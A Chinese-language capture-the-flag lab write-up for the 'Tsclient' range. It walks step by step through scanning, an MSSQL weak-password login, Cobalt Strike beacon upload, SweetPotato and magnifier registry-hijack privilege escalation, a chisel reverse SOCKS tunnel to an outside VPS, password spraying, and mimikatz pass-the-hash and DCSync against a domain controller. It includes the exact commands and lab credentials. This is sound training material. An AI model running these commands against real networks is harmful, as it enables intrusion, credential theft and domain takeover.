春秋云境·Tsclient

考点:

  • mssql弱口令
  • SweetPotato提权
  • CS注入在线用户进程上线
  • 共享文件
  • CS不出网转发上线
  • 映像劫持提权(放大镜提权)
  • Dcsync

目标是一个windows服务器,先用fscan扫一下

fscan64.exe -h 39.99.228.4 -p 1-65535

直接把1433端口mssql服务的账号和密码扫出来了:账号:sa 密码:1qaz!QAZ

39.99.228.4:139 open
39.99.228.4:80 open
39.99.228.4:1433 open
39.99.228.4:3389 open
39.99.228.4:16453 open
39.99.228.4:16451 open
39.99.228.4:17001 open
39.99.228.4:47001 open
39.99.228.4:49755 open
[*] alive ports len is: 9
start vulscan
[*] WebTitle: http://39.99.228.4        code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://39.99.228.4:47001  code:404 len:315    title:Not Found
[+] mssql:39.99.228.4:1433:sa 1qaz!QAZ
已完成 8/9 [-] (60/210) rdp 39.99.228.4:3389 administrator sysadmin remote error: tls: access denied
已完成 8/9 [-] (114/210) rdp 39.99.228.4:3389 admin 8888888 remote error: tls: access denied
已完成 8/9 [-] (169/210) rdp 39.99.228.4:3389 guest Passw0rd remote error: tls: access denied
已完成 9/9
[*] 扫描结束,耗时: 8m38.350471s

用MDUT连接一下(https://github.com/SafeGroceryStore/MDUT/releases)

文件这里传一个CS生成的马

然后执行(这里之前还执行了一下whoami命令,权限比较低,如果命令执行失败就这四个模式都试试)

C:/Users/Public/beacon.exe

虽然CS上线了,但权限还是太低了,上SweetPotato提权一下,这里我们就有system权限了(https://github.com/uknowsec/SweetPotato)(记得用那个new里的可执行文件,不然会有奇怪的报错,我卡了老久了)

C:/Users/Public/sweetpotato.exe -a whoami

然后可以直接读flag了

C:/Users/Public/sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"

接下来用system权限触发beacon,这样CS就可以上线system权限的马了

C:/Users/Public/sweetpotato.exe -a "C:/Users/Public/beacon.exe"

搜集一下用户信息,可以看到这里还有一个John用户

shell net user

因为我们是最高权限,直接dump hash

查看在线用户

shell quser || qwinst

可以看到这个用户是在线的,因此我们可以用CS直接注入进程上线

上线后查看用户可以看到它存在共享文件

读出来一个账号密码,以及提示映像劫持

shell type \\tsclient\c\credential.txt
beacon> shell type \\tsclient\c\credential.txt
[*] Tasked beacon to run: type \\tsclient\c\credential.txt
[+] host called home, sent: 63 bytes
[+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

老规矩,传fscan扫一下内网

172.22.8.18:1433 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:445 open
172.22.8.46:139 open
172.22.8.31:135 open
172.22.8.31:139 open
172.22.8.15:135 open
172.22.8.15:139 open
172.22.8.18:135 open
172.22.8.18:139 open
172.22.8.46:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:2ce5:34ee:d89c:1d6b
[*] NetBios: 172.22.8.31     XIAORANG\WIN19-CLIENT          
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393 
[*] NetBios: 172.22.8.15     [+]DC XIAORANG\DC01            
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ

进内网了,老流程搭代理:

自己的vps上运行:

./chisel server -p 1234 --reverse

这次是windows机当跳板机,但命令一样的(这次换成6666端口搭socks代理了):

chisel.exe client vps:1234 R:0.0.0.0:6666:socks

在kali上配一下proxychains

vim /etc/proxychains4.conf

喷洒一下密码(其实也就是用密码一个一个碰撞看能不能登录上哪台机器)

proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

然后你登录的话会显示密码过期了,我忘截图了,然后我们需要改密码,用的是工具impacket里面的脚本(https://github.com/SecureAuthCorp/impacket)

python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Whoami@666'

然后因为后面要用RDP远程桌面登录远程主机,所以我用profixier搭了一个全局代理:

172.22.8.15 rdp不上
172.22.8.31 登不了
172.22.8.46 成功登录

然后这台机器是不出网的,然后我用172.22.8.18转发上线的CS

利用这个内网里的主机创建一个listener

然后选这个listener生成马

远程桌面我们可以直接把本机的文件复制粘贴过去,所以生成完复制过去然后点一下即可上线

下一步就是映像劫持提权,先查看权限:

get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

这里我们发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权,其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,这样就直接提权成system了

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后点左下角的头像锁屏

进主页点右下角的放大镜

直接就system权限了

然后运行我们的马,就可以上线system权限的马了

上线完第二个flag也就拿到了

shell type C:\Users\Administrator\flag\flag02.txt

接下来进行一些域信息搜集

logonpasswords
shell net user /domain
shell net group "domain admins" /domain

发现win2016$在域管组里,即机器账户可以Hash传递登录域控,所以相当于直接拿域控了。(因此这里最简单的做法是logonpaswords抓到win2016$的哈希之后用他哈希直接pth域控)

但我当时的做法是注入机器账户哈希pth然后dump域控哈希,绕路了

shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:抓到的机器账户哈希" "exit"

然后用mimikatz dcsync dump所有用户的hash获得域控哈希

shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

最后哈希传递登录域控,即可拿到最后一个flag

proxychains python3 smbexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 administrator@172.22.8.15

看别人wp感觉不是很难,但自己打的时候好多细节的地方卡住了,花了很多时间,打内网还得自己手搓一遍才算懂啊

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇